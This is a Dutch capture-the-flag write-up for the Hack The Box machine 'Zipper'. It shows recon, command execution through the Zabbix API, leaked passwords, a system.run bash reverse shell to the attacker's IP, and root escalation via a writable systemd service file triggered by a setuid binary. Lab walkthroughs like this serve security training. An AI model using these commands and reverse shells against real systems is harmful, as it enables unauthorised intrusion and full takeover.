HTB – Zipper

Zoals altijd beginnen we met een nmap scan
root@kali:~/htb/zipper# nmap -p- -sV 10.10.10.108
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-10 03:23 EST
Nmap scan report for 10.10.10.108
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.92 seconds

Porren op de webserver krijgen we de standaard Apache-pagina. Gobuster leidt ons naar onze eerste stap.

root@kali:~/htb# gobuster dir -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.108
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/12/10 03:11:33 Starting gobuster
===============================================================
/zabbix (Status: 301)

En we hebben een Zabbix login.

login

Een paar snelle win-aanmeldingen proberen, zoals admin / admin, levert niets op. We kunnen ons echter als gast aanmelden.

Als u naar het tabblad ‘Latest data’, zien we het volgende:

data

We hebben dus de Zabbix-server zelf en ook de host met de naam Zipper. We hebben ook een gebruikersnaam van Zapper die blijkbaar een back-upscript heeft. Het opnieuw proberen van de inlogpagina met zapper / zapper leidt ons hiernaar:

no-gui

We kunnen dus niet inloggen op de GUI, maar dit betekent dat een ander type toegang mogelijk is via de Zabbix API.

Het is gewoon zo dat iemand al een API-shell heeft geschreven met Python hier.

Het probleem dat we tegenkomen met dit script, is dat de host-ID bekend moet zijn om de opdrachten uit te voeren die we momenteel niet hebben. Na onderzoek van de API-documentatie hier .We kunnen de API gewoon laten weten wat de host-ID is door deze code aan het script toe te voegen.

host_get = {
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
        "output": [
            "hostid",
            "host"
        ],
        "selectInterfaces": [
            "interfaceid",
            "ip"
        ]
    },
    "id": 2,
    "auth": auth['result'],
}

host_id = requests.post(url, data=json.dumps(host_get), headers=(headers))
host_id = host_id.json()

Volledige exploit bevindt zich hier:

https://github.com/puckiestyle/python/blob/master/htb-zipper.py

root@kali:~/htb# ./zipper.py 
[zabbix_cmd]>>:  whoami
zabbix

[zabbix_cmd]>>:  hostname
c1b730b82aad

We vinden Zapper’s backup script in /usr/lib/zabbix/externalscripts.

[zabbix_cmd]>>:  cat /usr/lib/zabbix/externalscripts/backup_script.sh
#!/bin/bash
# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/nul

En we hebben een paswoord!

Andere benadering: als we het bovenstaande exploit-db-script gebruiken, worden we naar de docker-instantie gebracht waar we nog steeds waardevolle informatie kunnen verzamelen onder /etc/zabbix/zabbix_server.conf
$ cat /etc/zabbix/zabbix_server.conf | grep -v '^ #'
[..knip..]
DBName = zabbixdb
Dbuser = zabbix
Dbpassword = f.YMeMd $ pTbpY3-449
[..knip..]/etc/zabbix/zabbix_server.conf

We kunnen nu inloggen op de  Zabbix admin page met de admin username en f.YMeMd$pTbpY3-449 passwoord.

User verkrijgen

We hebben nu dus een shell op de Zabbix-server. Dit is echter niet het uiteindelijke doel, omdat we naar Zipper en van de Zabbix-server moeten gaan. Als we ifconfig controleren, zien we dat ons IP-adres 172.17.0.2 is.

[zabbix_cmd]>>:  ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 22808  bytes 1982532 (1.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23989  bytes 3173113 (3.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2178  bytes 125349 (125.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2178  bytes 125349 (125.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

En als we netstat controleren, zien we een verbinding van een zabbix-agent op 172.17.0.1 met de Zabbix-serverpoort 10051.

Omdat we de Zabbix-server zijn, kunnen we rechtstreeks communiceren met de Zabbix-agent op poort 10050. En we kunnen ook opdrachten uitvoeren via de agent met behulp van system.run!

[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/10.10.16.70/443 0<&1 2>&1 &')]" | nc 172.17.0.1 10050
ZBXD
[zabbix_cmd]>>:

En vangen de shell.

root@kali:~/htb/zipper# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.108] 41754
bash: cannot set terminal process group (2206): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@zipper:/$

Nu importeren we een terminal shell met python, en kunnen we  su gebruiken voor de zapper account.

zabbix@zipper:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@zipper:/$ su zapper
su zapper
Password: ZippityDoDah


              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗ 
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:
4.0K	/backups/zapper_backup-2019-02-26.7z
4.0K	/backups/zabbix_scripts_backup-2019-02-26.7z

Vanaf hier kunnen we de SSH-sleutel van Zapper pakken en die gebruiken voor een stabielere shell.

Escalating to Root

Met behulp van journalctl kunnen we de live inhoud van het systemd-tijdschrift opvragen. Na een korte periode zien we het volgende:

zapper@zipper:/$ journalctl -f
-- Logs begin at Sat 2018-09-08 02:45:49 EDT. --
~
~
Sep 10 10:50:26 zipper systemd[1]: Started Purge Backups (Script).
Sep 10 10:50:26 zipper purge-backups.sh[24346]: [>] Backups purged successfully

We zien dat systemd een purge-backups.sh script draait om de zoveel tijd. We zien de servicebestanden voor systemd in /etc/systemd/system.

zabbix@zipper:/etc/systemd/system$ ls -al
total 64
drwxr-xr-x 13 root root   4096 Oct  2 13:18 .
drwxr-xr-x  5 root root   4096 Sep  8 06:42 ..
lrwxrwxrwx  1 root root     44 Sep  8 06:40 dbus-org.freedesktop.resolve1.service -> /lib/systemd/system/systemd-resolved.service
drwxr-xr-x  2 root root   4096 Sep  8 06:43 default.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:43 emergency.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:40 getty.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:43 graphical.target.wants
drwxr-xr-x  2 root root   4096 Oct  2 13:18 multi-user.target.wants
drwxr-xr-x  2 root root   4096 Oct  2 13:18 network-online.target.wants
-rw-rw-r--  1 root zapper  132 Sep  8 13:22 purge-backups.service
-rw-rw-r--  1 root zapper  237 Sep  8 13:22 purge-backups.timer
drwxr-xr-x  2 root root   4096 Sep  8 06:43 rescue.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 07:11 sockets.target.wants
lrwxrwxrwx  1 root root     31 Sep  8 06:49 sshd.service -> /lib/systemd/system/ssh.service
-rw-r--r--  1 root root    147 Sep  8 13:03 start-docker.service
drwxr-xr-x  2 root root   4096 Sep  8 06:43 sysinit.target.wants
lrwxrwxrwx  1 root root     35 Sep  8 06:41 syslog.service -> /lib/systemd/system/rsyslog.service
drwxr-xr-x  2 root root   4096 Sep  8 06:41 timers.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 13:24 zabbix-agent.service.wants

We kunnen zien dat de purge-backups.service Zapper toe staat om te schrijven.

zabbix@zipper:/etc/systemd/system$ cat purge-backups.service
[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/root/scripts/purge-backups.sh
[Install]
WantedBy=purge-backups.timer

Nu behoeven we alleen nog ‘ExecStart’ te veranderanderen door een script van onze keuze.

We plaatsen een eenvoudige bash reverse shell in /tmp.

#!/bin/bash 
bash -i >/dev/tcp/10.10.16.70/443 0<&1
zapper@zipper:/etc/systemd/system$ chmod +x /tmp/shell.sh

Bewerk de inhoud van de purge-backups.service.

[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/tmp/shell.sh
[Install]
WantedBy=purge-backups.timer

Systemd is echter niet opnieuw geladen om het bijgewerkte servicebestand te lezen, dus het zal het oude script blijven uitvoeren totdat het opnieuw is geladen. Dit vereist meestal rootrechten.

In de basismap van Zapper staat een map utils met een setuid-binair bestand.

zapper@zipper:~/utils$ ls -al
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep  8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Feb 26 11:08 ..
-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12 backup.sh
-rwsr-sr-x 1 root   root   7556 Sep  8 13:05 zabbix-service

Het uitvoeren van het binaire bestand lijkt het starten en stoppen van de service mogelijk te maken.

zapper@zipper:~/utils$ ./zabbix-service 
start or stop?:

Door strings op het binaire bestand te draaien, kunnen we zien dat het systemd opnieuw wordt geladen met systemctl daemon-reload.

zapper@zipper:~/utils$ strings zabbix-service
~
~
start or stop?: 
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
~
~

We kunnen nu de  zabbix-service, stoppen en starten en onze shell vangen.

zapper@zipper:~/utils$ ./zabbix-service stop
zapper@zipper:~/utils$ ./zabbix-service start
root@kali:~/htb/zipper# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.108] 42242
id
uid=0(root) gid=0(root) groups=0(root)
hostname
zipper
pwd
/
cat root/root.txt
a7c*****b6e
Auteur: Jacco Straathof
Geplaatst op

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *